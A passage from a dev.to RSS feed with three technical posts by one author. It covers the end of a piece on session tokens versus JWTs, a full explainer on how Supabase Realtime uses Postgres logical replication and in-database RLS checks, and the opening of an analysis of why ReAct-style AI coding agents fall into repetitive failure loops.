&lt;li&gt;Password reset links (signed with a hash of the user's current password so it auto-invalidates upon password change).&lt;/li&gt;
&lt;li&gt;Email verification links.&lt;/li&gt;
&lt;li&gt;Temporary download authorization URLs.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  8. The Recommended Web App Architecture
&lt;/h2&gt;

&lt;p&gt;For 95% of web applications, the cleanest and most secure authentication architecture uses opaque session identifiers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[ Browser ]
    |
    | Cookie: sid=a7b8c9d0... (HttpOnly, Secure, SameSite=Lax)
    v
[ Web Server ]
    |
    | GET session:a7b8c9d0... (O(1) memory lookup, ~0.2ms)
    v
[ Redis / Valkey ] ---&amp;gt; { "userId": "usr_42", "role": "admin" }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you require a decoupled mobile app or third-party client architecture that cannot rely on traditional cookies, use the &lt;strong&gt;Dual-Token Pattern&lt;/strong&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Access Token:&lt;/strong&gt; Short-lived JWT (5 to 10 minutes maximum). Kept in memory only (never written to &lt;code&gt;localStorage&lt;/code&gt;). Used to authorize routine API requests.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Refresh Token:&lt;/strong&gt; High-entropy random string stored in an &lt;code&gt;HttpOnly&lt;/code&gt;, &lt;code&gt;Path=/api/auth/refresh&lt;/code&gt; cookie, with a corresponding record stored in your database.&lt;/li&gt;
&lt;li&gt;When the access token expires, the client calls &lt;code&gt;/api/auth/refresh&lt;/code&gt;. The server checks the database record, confirms the user is active, rotates the refresh token, and issues a fresh 5-minute access token.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If a user account is compromised, revoking the refresh token in the database cuts off access within 5 minutes, keeping the window of exposure small while preserving API performance.&lt;/p&gt;




&lt;h2&gt;
  
  
  Summary Checklist
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Do not store session tokens in &lt;code&gt;localStorage&lt;/code&gt; or &lt;code&gt;sessionStorage&lt;/code&gt; if you want protection against XSS exfiltration.&lt;/li&gt;
&lt;li&gt;Do not build a Redis blacklist to revoke stateless JWTs. If you need immediate revocation, use server-side sessions directly.&lt;/li&gt;
&lt;li&gt;Keep in mind that asymmetric JWT verification (RS256/ES256) consumes real CPU cycles on high-throughput services.&lt;/li&gt;
&lt;li&gt;Reserve JWTs for their intended purpose: short-lived, decentralized authorization across service boundaries, not persistent browser sessions.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>architecture</category>
      <category>programming</category>
    </item>
    <item>
      <title>Supabase Under the Hood: What Actually Happens When You Listen to Postgres Changes</title>
      <dc:creator>Syed Anzar</dc:creator>
      <pubDate>Mon, 16 Nov 2026 17:46:11 +0000</pubDate>
      <link>https://dev.to/syed_anzar/supabase-under-the-hood-what-actually-happens-when-you-listen-to-postgres-changes-4moj</link>
      <guid>https://dev.to/syed_anzar/supabase-under-the-hood-what-actually-happens-when-you-listen-to-postgres-changes-4moj</guid>
      <description>&lt;p&gt;When you call &lt;code&gt;supabase.channel('room-1').on('postgres_changes', ...)&lt;/code&gt; in your client application, it feels simple. A row updates in your database, and your frontend state updates a few milliseconds later.&lt;/p&gt;

&lt;p&gt;Most developers assume Supabase runs a basic WebSocket server that connects to PostgreSQL, sets up an event listener, and forwards JSON payloads. Some assume it relies on PostgreSQL's built-in &lt;code&gt;LISTEN&lt;/code&gt; and &lt;code&gt;NOTIFY&lt;/code&gt; commands.&lt;/p&gt;

&lt;p&gt;Neither assumption is correct.&lt;/p&gt;

&lt;p&gt;Underneath that client method is an infrastructure pipeline involving PostgreSQL Write-Ahead Logs (WAL), binary logical decoding plugins, an Elixir clustering engine, and an in-database row evaluation system called WALRUS.&lt;/p&gt;

&lt;p&gt;If you run this in production without understanding how the pipeline works, you will eventually run into three classic issues: unexpected WAL disk accumulation that forces your database into read-only mode, write amplification that turns tiny column updates into massive disk I/O, and Row Level Security (RLS) query storms that saturate CPU cores.&lt;/p&gt;

&lt;p&gt;Here is what actually happens under the hood.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Postgres NOTIFY Was Rejected
&lt;/h2&gt;

&lt;p&gt;PostgreSQL already has a native pub/sub mechanism: &lt;code&gt;LISTEN&lt;/code&gt; and &lt;code&gt;NOTIFY&lt;/code&gt;. Many early real-time database tools used it. You add a trigger to a table, and whenever a row changes, the trigger executes &lt;code&gt;pg_notify('channel', payload)&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Supabase avoided building their real-time engine on &lt;code&gt;NOTIFY&lt;/code&gt; for three critical reasons:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;The 8,000-byte hard limit&lt;/strong&gt;: PostgreSQL enforces a strict 8,000-byte payload limit on &lt;code&gt;NOTIFY&lt;/code&gt;. If an updated row exceeds this limit, the trigger fails or truncates the notification. The classic workaround is to notify only the row ID and make the client query the database for the new row, but that turns one database write into hundreds of subsequent read queries under heavy subscriber load.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Trigger sprawl&lt;/strong&gt;: Setting up &lt;code&gt;NOTIFY&lt;/code&gt; requires authoring, managing, and migrating custom PL/pgSQL triggers across every single table you want to monitor.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Connection saturation&lt;/strong&gt;: &lt;code&gt;LISTEN&lt;/code&gt; requires persistent, dedicated database connections. If you have 5,000 clients listening for updates, managing those connections directly against Postgres quickly exhausts connection pools.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Instead of intercepting writes inside the SQL engine via triggers, Supabase stepped down into the database storage engine.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Core Pipeline: Logical Replication and WAL
&lt;/h2&gt;

&lt;p&gt;Every relational database needs a mechanism to survive sudden crashes without losing committed transactions. In PostgreSQL, that mechanism is the Write-Ahead Log (WAL).&lt;/p&gt;

&lt;p&gt;Before PostgreSQL writes changes to table data files on disk, it appends a binary record of the change to an append-only log file in &lt;code&gt;pg_wal&lt;/code&gt;. The WAL contains an exact byte-level history of database mutations.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Client Write (SQL) 
       │
       ▼
[ PostgreSQL Engine ] ──(Append)──► [ Write-Ahead Log (WAL) ]
                                            │
                                            ▼ (Logical Decoding)
                                   [ Replication Slot: pgoutput ]
                                            │
                                            ▼ (Binary Stream)
                                   [ Supabase Realtime (Elixir) ]
                                            │
                                            ▼ (WebSockets)
                                     [ Connected Clients ]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Logical Decoding
&lt;/h3&gt;

&lt;p&gt;Physical replication streams raw disk block alterations to standby replicas. Logical replication, introduced in PostgreSQL 10, works differently: it decodes those raw binary log records into higher-level logical events (INSERT, UPDATE, DELETE) using an output plugin such as &lt;code&gt;pgoutput&lt;/code&gt; or &lt;code&gt;wal2json&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To keep track of what has been read, PostgreSQL uses a &lt;strong&gt;Replication Slot&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;A replication slot tracks a Log Sequence Number (LSN), which acts as a bookmark pointing to the consumer's current position in the WAL. As long as the slot exists, Postgres guarantees that no WAL file containing unread LSNs will be recycled or deleted from disk.&lt;/p&gt;

&lt;p&gt;Supabase Realtime connects to Postgres as a replication consumer. It opens a logical replication slot on your publication and receives a continuous stream of decoded row mutations.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Bridge: Supabase Realtime and the BEAM
&lt;/h2&gt;

&lt;p&gt;The component that bridges Postgres replication to client WebSockets is &lt;strong&gt;Supabase Realtime&lt;/strong&gt;, an open-source server written in Elixir on top of the Phoenix Framework.&lt;/p&gt;

&lt;p&gt;The choice of Elixir is deliberate. Elixir runs on the Erlang BEAM virtual machine, which uses the actor model. In Realtime, every single connected WebSocket client is represented by an isolated, lightweight Erlang process that requires only a few kilobytes of memory.&lt;/p&gt;

&lt;p&gt;This solves the connection scaling problem:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The PostgreSQL database maintains only one or two long-lived replication connections to the Realtime cluster.&lt;/li&gt;
&lt;li&gt;The Realtime cluster distributes incoming database mutations across thousands of Erlang processes, routing messages to connected browsers over WebSockets.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If one client connection hangs, experiences network latency, or crashes, its Erlang process terminates without impacting other subscribers or the database replication connection.&lt;/p&gt;




&lt;h2&gt;
  
  
  The RLS Dilemma and WALRUS
&lt;/h2&gt;

&lt;p&gt;Streaming raw database changes over WebSockets is straightforward if all data is public. But modern applications rely on Row Level Security (RLS) to restrict data access based on user roles and JWT claims.&lt;/p&gt;

&lt;p&gt;Here is the dilemma: &lt;strong&gt;PostgreSQL Write-Ahead Logs have zero awareness of application authorization.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The WAL records that row &lt;code&gt;id: 104&lt;/code&gt; in table &lt;code&gt;orders&lt;/code&gt; was updated. It does not know that User A is allowed to view that order, while User B is not.&lt;/p&gt;

&lt;p&gt;If Realtime simply broadcasted decoded changes to everyone listening to &lt;code&gt;orders&lt;/code&gt;, it would leak private data to unauthorized clients.&lt;/p&gt;

&lt;p&gt;To enforce security, Supabase had to evaluate RLS policies against every single change for every single connected subscriber.&lt;/p&gt;

&lt;p&gt;Doing this in the external Elixir service would require replicating PostgreSQL's entire query and policy evaluation engine in Elixir, which is practically impossible. Polling the database over standard SQL connections for every subscriber would introduce massive network latency.&lt;/p&gt;

&lt;p&gt;Supabase solved this by moving the authorization check directly into the database engine through &lt;strong&gt;WALRUS&lt;/strong&gt; (Write Ahead Log Realtime Unified Security).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[ Decoded Change ] ──► [ Realtime Server ]
                              │
                              ▼ Invokes SQL Function
                     [ WALRUS in PostgreSQL ]
                              │
    ┌─────────────────────────┴─────────────────────────┐
    ▼                                                   ▼
Read realtime.subscription                  Loop Through Subscribers:
(Finds users listening to table)           - SET LOCAL ROLE authenticated
                                           - SET LOCAL "request.jwt.claims"
                                           - SELECT EXISTS (SELECT 1 WHERE id = :id)
                                                        │
    ┌───────────────────────────────────────────────────┘
    ▼
Return authorized subscriber IDs ──► Realtime filters &amp;amp; broadcasts over WebSockets
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  How WALRUS Evaluates Visibility
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Realtime maintains a dedicated &lt;code&gt;realtime.subscription&lt;/code&gt; table inside Postgres that tracks active WebSocket connections, their target tables, and their decoded JWT claims.&lt;/li&gt;
&lt;li&gt;When Realtime receives a WAL mutation, it passes the change payload to the WALRUS SQL function in Postgres.&lt;/li&gt;
&lt;li&gt;WALRUS queries the subscription table to identify all connected users listening to that table.&lt;/li&gt;
&lt;li&gt;For each subscriber, WALRUS impersonates that specific user by setting transaction-local parameters:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;   &lt;span class="k"&gt;SET&lt;/span&gt; &lt;span class="k"&gt;LOCAL&lt;/span&gt; &lt;span class="no"&gt;ROLE&lt;/span&gt; &lt;span class="n"&gt;authenticated&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
   &lt;span class="k"&gt;SET&lt;/span&gt; &lt;span class="k"&gt;LOCAL&lt;/span&gt; &lt;span class="s2"&gt;"request.jwt.claims"&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'{"sub": "user_uuid_here", "role": "authenticated"}'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;It runs a lightweight probe query against the modified table:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;   &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;EXISTS&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;orders&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Because the probe query executes within the impersonated role's security context, PostgreSQL evaluates the table's RLS policies. If the query returns &lt;code&gt;true&lt;/code&gt;, the subscriber is authorized to view the row. If &lt;code&gt;false&lt;/code&gt;, the row is hidden.&lt;/li&gt;
&lt;li&gt;To minimize overhead, WALRUS wraps this check in a prepared statement. This eliminates query planning overhead on subsequent subscriber checks, cutting execution time significantly.&lt;/li&gt;
&lt;li&gt;WALRUS returns the list of authorized subscriber IDs back to Realtime, which delivers the payload exclusively to those clients.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  The Performance Cost of Subscriber Checks
&lt;/h3&gt;

&lt;p&gt;While prepared statements make each check fast, processing time still grows with the number of subscribers listening to an active table:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Active Subscribers on Table&lt;/th&gt;
&lt;th&gt;Average Processing Latency per Change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1 subscriber&lt;/td&gt;
&lt;td&gt;~11.2 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10 subscribers&lt;/td&gt;
&lt;td&gt;~14.2 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;100 subscribers&lt;/td&gt;
&lt;td&gt;~24.5 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1,000 subscribers&lt;/td&gt;
&lt;td&gt;~64.7 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10,000 subscribers&lt;/td&gt;
&lt;td&gt;~303.8 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;If your table has complex RLS policies involving multi-table joins or subqueries, every single row mutation triggers those joins for every active subscriber. A burst of database writes on a table with many listeners can quickly spike database CPU utilization.&lt;/p&gt;




&lt;h2&gt;
  
  
  The REPLICA IDENTITY FULL Trap
&lt;/h2&gt;

&lt;p&gt;When an application receives an &lt;code&gt;UPDATE&lt;/code&gt; event, the client often needs to know what the row looked like before the update.&lt;/p&gt;

&lt;p&gt;In standard PostgreSQL configuration, updates in the WAL only log the new row values along with the primary key. If you inspect &lt;code&gt;payload.old&lt;/code&gt; on the client, you will find it is empty or contains only the ID.&lt;/p&gt;

&lt;p&gt;To receive the previous row state, developers run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;ALTER&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;orders&lt;/span&gt; &lt;span class="no"&gt;REPLICA&lt;/span&gt; &lt;span class="no"&gt;IDENTITY&lt;/span&gt; &lt;span class="k"&gt;FULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This tells PostgreSQL to write the entire previous row into the WAL whenever an update occurs.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Write Amplification Problem
&lt;/h3&gt;

&lt;p&gt;Setting &lt;code&gt;REPLICA IDENTITY FULL&lt;/code&gt; fixes &lt;code&gt;payload.old&lt;/code&gt;, but it introduces significant overhead on write-heavy tables:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Double WAL size&lt;/strong&gt;: If you update a single column in a 30-column table with text and JSON fields, PostgreSQL must write the entire old row and the entire new row into the log.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Index lookups on replicas&lt;/strong&gt;: When applying updates on replica systems, full replica identity can force full table scans if unique identifiers are not indexed properly.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Checkpoint pressure&lt;/strong&gt;: Larger WAL payloads cause PostgreSQL to reach its checkpoint threshold (&lt;code&gt;max_wal_size&lt;/code&gt;) faster, increasing disk I/O and flush frequency.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Unless your frontend logic strictly requires the complete pre-update state of every column, avoid blanket &lt;code&gt;REPLICA IDENTITY FULL&lt;/code&gt; declarations on high-throughput tables.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Ghost Replication Slot
&lt;/h2&gt;

&lt;p&gt;The most dangerous operational failure mode in logical replication is the abandoned or lagging replication slot.&lt;/p&gt;

&lt;p&gt;A replication slot guarantees that PostgreSQL will retain all WAL segments needed by the consumer. If Realtime disconnects, crashes, or falls behind during high write activity, PostgreSQL freezes its WAL cleanup process at the slot's &lt;code&gt;restart_lsn&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Disk Storage Timeline:
Hour 1: [WAL: 1GB]  ── Slot LSN active, older logs recycled cleanly
Hour 2: [WAL: 8GB]  ── Realtime disconnects, LSN stops advancing
Hour 3: [WAL: 32GB] ── Postgres retains all segments since last confirmed LSN
Hour 4: [WAL: 100%] ── Disk fills completely -&amp;gt; PostgreSQL PANIC shutdown
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the replication consumer stops advancing its LSN, 16MB WAL segment files accumulate in &lt;code&gt;pg_wal&lt;/code&gt; without being recycled. Eventually, the disk fills to 100%.&lt;/p&gt;

&lt;p&gt;When PostgreSQL runs out of disk space, it halts immediately with a &lt;code&gt;PANIC&lt;/code&gt; error and enters recovery mode to protect transaction integrity. Your entire database goes offline.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Protection Mechanism
&lt;/h3&gt;

&lt;p&gt;To prevent an unresponsive replication slot from taking down the entire database, configure &lt;code&gt;max_slot_wal_keep_size&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;ALTER&lt;/span&gt; &lt;span class="no"&gt;SYSTEM&lt;/span&gt; &lt;span class="k"&gt;SET&lt;/span&gt; &lt;span class="n"&gt;max_slot_wal_keep_size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'10GB'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="nf"&gt;pg_reload_conf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When set, PostgreSQL allows replication slots to retain WAL up to the specified limit (e.g. 10 GB). If Realtime falls behind past that limit, PostgreSQL invalidates the slot and resumes recycling WAL segments, saving your disk and keeping your primary database online.&lt;/p&gt;




&lt;h2&gt;
  
  
  Architecture Comparison: NOTIFY vs Logical Replication
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;PostgreSQL LISTEN / NOTIFY&lt;/th&gt;
&lt;th&gt;Supabase Realtime (Logical Replication)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Data Source&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;SQL Triggers calling &lt;code&gt;pg_notify&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Write-Ahead Log via &lt;code&gt;pgoutput&lt;/code&gt; / &lt;code&gt;wal2json&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Payload Limit&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;8,000 bytes hard ceiling&lt;/td&gt;
&lt;td&gt;Entire row data (limited only by WAL record size)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Database Connections&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1 dedicated connection per listener&lt;/td&gt;
&lt;td&gt;1-2 connections total for the entire cluster&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RLS Enforcement&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Manual filtering inside trigger functions&lt;/td&gt;
&lt;td&gt;Automated via WALRUS in-database evaluation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Disk Risk&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Zero WAL accumulation risk&lt;/td&gt;
&lt;td&gt;Requires &lt;code&gt;max_slot_wal_keep_size&lt;/code&gt; monitoring&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Write Overhead&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Synchronous trigger execution on write&lt;/td&gt;
&lt;td&gt;Asynchronous log decoding decoupled from write path&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Practical Rules for Production Realtime
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Keep RLS policies simple on listened tables&lt;/strong&gt;: Because WALRUS runs your RLS policy for every active subscriber on every write, avoid joins to unrelated tables in your policies. If a policy requires checking permissions across three tables, consider storing a denormalized authorization flag directly on the listened table.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Index foreign keys and user IDs&lt;/strong&gt;: If your RLS policy evaluates &lt;code&gt;auth.uid() = user_id&lt;/code&gt;, ensure &lt;code&gt;user_id&lt;/code&gt; has an index. Unindexed policy checks turn WALRUS evaluations into sequential table scans.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Set &lt;code&gt;max_slot_wal_keep_size&lt;/code&gt;&lt;/strong&gt;: Never run production Postgres with unconstrained replication slots. Set a reasonable upper bound so a disconnected real-time consumer cannot exhaust disk storage.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Broadcast only what you need&lt;/strong&gt;: If clients only need notifications of specific events rather than full database row synchronization, consider using Supabase Broadcast functions (&lt;code&gt;realtime.broadcast_changes()&lt;/code&gt;) or client-to-client broadcast rather than subscribing to full table mutations.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Monitor replication slot lag&lt;/strong&gt;: Set up alerts on &lt;code&gt;pg_replication_slots&lt;/code&gt; monitoring &lt;code&gt;pg_wal_lsn_diff(pg_current_wal_lsn(), confirmed_flush_lsn)&lt;/code&gt; to catch lagging consumers before they accumulate gigabytes of WAL.&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>supabase</category>
      <category>postgres</category>
      <category>architecture</category>
      <category>database</category>
    </item>
    <item>
      <title>What Actually Happens When an AI Agent Loops: The ReAct Pattern, Context Window Poisoning, and How to Break the Failure Spiral</title>
      <dc:creator>Syed Anzar</dc:creator>
      <pubDate>Sun, 15 Nov 2026 05:51:23 +0000</pubDate>
      <link>https://dev.to/syed_anzar/what-actually-happens-when-an-ai-agent-loops-the-react-pattern-context-window-poisoning-and-how-4lf0</link>
      <guid>https://dev.to/syed_anzar/what-actually-happens-when-an-ai-agent-loops-the-react-pattern-context-window-poisoning-and-how-4lf0</guid>
      <description>&lt;p&gt;Anyone who has built or deployed an autonomous coding agent has watched the exact same failure sequence unfold.&lt;/p&gt;

&lt;p&gt;The agent starts out sharp. In turns 1 through 4, it parses the prompt, finds the relevant source files, and outlines a clean approach. Then, around turn 6, a shell command throws an unexpected error. Maybe a compiler fails with a missing type definition, or an integration test fails because a mock database port was not exposed.&lt;/p&gt;

&lt;p&gt;Instead of taking a step back and inspecting the environment, the agent enters a death spiral. It runs the exact same test command with a trivial flag variation. That fails. It adds an unnecessary comment or changes a variable name in an unrelated file, runs the command again, and fails again. By turn 18, it has burned 90,000 tokens, corrupted three files that had nothing to do with the original bug, and is now arguing with its own prior reasoning traces.&lt;/p&gt;

&lt;p&gt;Why does an LLM with billions of parameters, capable of writing complex algorithms from scratch, become remarkably stubborn when caught in a loop?&lt;/p&gt;

&lt;p&gt;The short answer: agent loops are not random hallucinations. They are the predictable mathematical consequence of the ReAct execution pattern, autoregressive token sampling, and context window pollution.&lt;/p&gt;

&lt;p&gt;Here is what is actually happening underneath your agent framework when an agent gets stuck, and the deterministic mechanisms required to break the cycle.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Anatomy of the ReAct Loop
&lt;/h2&gt;

&lt;p&gt;Most modern agent frameworks build on the ReAct framework, first formalized by Shunyu Yao et al. in 2022.&lt;/p&gt;

&lt;p&gt;The core idea of ReAct is interleaving reasoning traces (Thought) and domain-specific actions (Action):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;+-------------------------------------------------------------+
|                     User Task / Prompt                      |
+-------------------------------------------------------------+
                               |
                               v
+-------------------------------------------------------------+
| [Turn 1] LLM Generation                                     |
| Thought: I need to locate where auth tokens are validated.  |
| Action:  file_search(pattern="*auth*")                      |
+-------------------------------------------------------------+
                               |
                               v
+-------------------------------------------------------------+
| External Environment Execution (Bash, Tools, API)           |
| Observation: ["src/auth/jwt.py", "src/auth/middleware.py"]  |
+-------------------------------------------------------------+
                               |
                               v
+-------------------------------------------------------------+
| [Turn 2] LLM Context = Prompt + Turn 1 + Observation        |
| Thought: I should check middleware.py for token expiration. |
| Action:  read_file(path="src/auth/middleware.py")           |
+-------------------------------------------------------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here is the critical architectural detail that gets overlooked: &lt;strong&gt;an LLM is completely stateless.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The model has no persistent working memory between turns. The entire state of the agent at turn &lt;code&gt;N&lt;/code&gt; is literally the raw array of text tokens accumulated across turns &lt;code&gt;1&lt;/code&gt; through &lt;code&gt;N-1&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;When turn 8 runs, the prompt sent over the wire looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[System Prompt]
[User Instruction]
[Turn 1: Thought -&amp;gt; Action -&amp;gt; Observation]
[Turn 2: Thought -&amp;gt; Action -&amp;gt; Observation]
...
[Turn 7: Thought -&amp;gt; Action -&amp;gt; Observation]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every single character of past output, every bash traceback, and every failed parameter edit is fed directly into the model attention heads on every subsequent step.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Three Mechanics That Cause the Loop
&lt;/h2&gt;

&lt;p&gt;Once you understand that the context window is the sole medium for agent memory, the breakdown of long-horizon reasoning becomes easy to trace. Three distinct mechanisms drive the failure spiral.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. In-Context Reinforcement and Autoregressive Priors
&lt;/h3&gt;

&lt;p&gt;Autoregressive models predict tokens sequentially by sampling from a conditional probability distribution:&lt;/p&gt;

&lt;p&gt;P(w_t | w_1, w_2, ..., w_{t-1})&lt;/p&gt;

&lt;p&gt;Transformers use attention mechanisms to decide which parts of the prior sequence inform the next token. Modern models are explicitly fine-tuned on few-shot demonstrations to recognize and repeat patterns found in their context.&lt;/p&gt;

&lt;p&gt;When an agent executes an action that fails, that failure enters the prompt history. If the agent makes a second similar attempt that also fails, the context window now contains two consecutive demonstrations of the agent executing a near-identical tool call in response to an error.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Turn 4: Action: run_command("pytest tests/test_auth.py")
        Observation: FAIL (AssertionError: expected 200, got 401)
Turn 5: Thought: Let me retry with verbose mode.
        Action: run_command("pytest -v tests/test_auth.py")
        Observation: FAIL (AssertionError: expected 200, got 401)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At Turn 6, the model attention heads attend to the repeated n-grams in the recent history. Rather than considering an orthogonal approach (such as inspecting the mock authentication fixture), the model assigns highest probability to another variation of the &lt;code&gt;pytest&lt;/code&gt; command. The presence of repetitive actions in the context acts as an autoregressive prior that forces the model to keep repeating them.&lt;/p&gt;

